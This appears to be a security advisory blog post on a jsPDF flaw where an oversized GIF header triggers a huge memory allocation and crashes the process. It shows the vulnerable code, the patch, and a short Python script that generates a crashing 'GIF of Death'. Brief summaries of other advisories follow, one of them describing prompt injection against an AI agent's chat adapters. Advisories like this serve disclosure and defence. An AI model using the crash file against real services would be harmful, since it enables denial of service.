Feb 19, 2026·5 min read·28 visits
jsPDF < 4.2.0 trusts GIF headers blindly. A 50-byte malicious GIF can claim to be 4GB in size. When jsPDF tries to render it, it allocates memory based on those claims. Result: Instant Out-of-Memory (OOM) crash for Node.js backends or browser tabs.
A logic flaw in jsPDF's bundled GIF parser allows attackers to trigger a massive memory allocation by manipulating image headers. By specifying a canvas size of 65535x65535 in a tiny GIF file, an attacker can force the application to attempt a ~4.3GB contiguous memory allocation, crashing the process immediately.
We all love client-side PDF generation. It shifts the compute cost from your expensive cloud servers to the user's browser, and it feels instantaneous. jsPDF is the titan of this arena, powering everything from invoice generators to concert ticket downloads. But here is the thing about parsing binary file formats in JavaScript: it is a high-wire act performed without a safety net.
To support images, jsPDF doesn't just stick a JPEG byte stream into the PDF container; it often needs to decode, analyze, and re-encode image data. For GIFs, it relies on a bundled version of omggif. And like many legacy parsers written in the early days of the Node ecosystem, omggif makes a classic mistake: it trusts the file header.
If I hand you a file that says "I am 10 pixels wide," you believe it. If I hand you a file that says "I am 65,535 pixels wide," a robust library should ask, "Are you sure about that?" jsPDF did not ask. It just opened its mouth and tried to swallow the ocean.
The vulnerability lies in how omggif (embedded within src/libs/omggif.js in jsPDF) handles the Logical Screen Descriptor of a GIF file. The GIF format specification defines offsets 6 and 8 as the Logical Screen Width and Height, respectively. These are unsigned 16-bit integers.
This means the maximum value for width or height is 0xFFFF, or 65,535. Now, 65k pixels doesn't sound like that much in the age of 4K monitors, until you do the math on the memory required to store the pixel buffer.
The library calculates the buffer size needed for a frame by multiplying width by height. It does not check if the resulting number is sane, nor does it check if the compressed image data actually contains enough pixels to fill that buffer. It simply reserves the memory upfront. This is a classic "Allocation of Resources Without Limits" (CWE-770), but in the context of a high-level language like JS, it manifests as a hard crash rather than a buffer overflow.
Let's look at the crime scene in src/libs/omggif.js. The function decodeAndBlitFrameBGRA is responsible for setting up the buffer to decode the GIF frame. Here is the logic prior to version 4.2.0:
this.decodeAndBlitFrameBGRA = function(frame_num, pixels) {
var frame = this.frameInfo(frame_num);
// The vulnerability is right here:
var num_pixels = frame.width * frame.height;
// Allocating the buffer based solely on header math
var index_stream = new Uint8Array(num_pixels);
// ... decoding logic follows ...
};Do you see the issue? frame.width and frame.height are taken directly from the binary parser. If an attacker sets both to 65,535, num_pixels becomes approximately 4,294,836,225.
In V8 (the engine behind Chrome and Node.js), a Uint8Array requires a contiguous block of memory. When the code executes new Uint8Array(4294836225), it is asking the runtime for roughly 4.29 GB of RAM in a single chunk. Even on a machine with 64GB of RAM, V8's heap limit (typically ~2GB to 4GB depending on flags) will likely reject this allocation immediately, throwing a RangeError: Array buffer allocation failed or simply crashing the process with an OOM killer event.
To exploit this, we don't need to generate a valid 4GB GIF. We just need a valid GIF header that lies about its size. The actual image data can be a single empty block. The parser crashes at the allocation step, long before it realizes the image data is missing.
Here is a Python script to generate the "GIF of Death":
# exploit.py
# Generates a GIF with 65535x65535 logical screen size
header = b'GIF89a'
width = b'\xFF\xFF' # 65535
height = b'\xFF\xFF' # 65535
flags = b'\x80' # Global Color Table Flag set
bg_color = b'\x00'
pixel_ratio = b'\x00'
# Minimal color table and trailer to satisfy basic parsing until the crash
payload = header + width + height + flags + bg_color + pixel_ratio
payload += b'\x00\x00\x00' * 2 # Color table
payload += b';' # Trailer
with open('death.gif', 'wb') as f:
f.write(payload)
print(f"Generated death.gif ({len(payload)} bytes)")When a user uploads this file to an endpoint using jsPDF.addImage(fileData), or if a client-side app attempts to render it, the application creates the Uint8Array and dies. In a Node.js server generating PDFs (e.g., for reports), this is a trivial Denial of Service. A single request kills the thread.
The maintainers fixed this in version 4.2.0 (specifically commit 2e5e156e284d92c7d134bce97e6418756941d5e6) by adding a sanity check. They decided that 512 megapixels ought to be enough for anyone.
// The Fix
var num_pixels = frame.width * frame.height;
// Hard limit check
if (num_pixels > 512 * 1024 * 1024) {
throw new Error("Image dimensions exceed 512MB, which is too large.");
}
var index_stream = new Uint8Array(num_pixels);While 512 million pixels is still a massive allocation (approx 512MB), it is generally within the safe bounds of a V8 heap allocation, preventing the immediate crash. This changes the outcome from "Process Termination" to "Caught Exception," allowing the application to handle the error gracefully.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
jsPDF parallax | < 4.2.0 | 4.2.0 |
| Attribute | Detail |
|---|---|
| CWE | CWE-770 (Allocation of Resources Without Limits) |
| CVSS v4.0 | 8.7 (High) |
| Attack Vector | Network (User uploaded image) |
| Impact | Availability (DoS via OOM) |
| Exploit Complexity | Low (Simple file header modification) |
| Privileges Required | None |
Allocation of Resources Without Limits or Throttling
A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.
CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.
The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.
GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.
The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.
The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.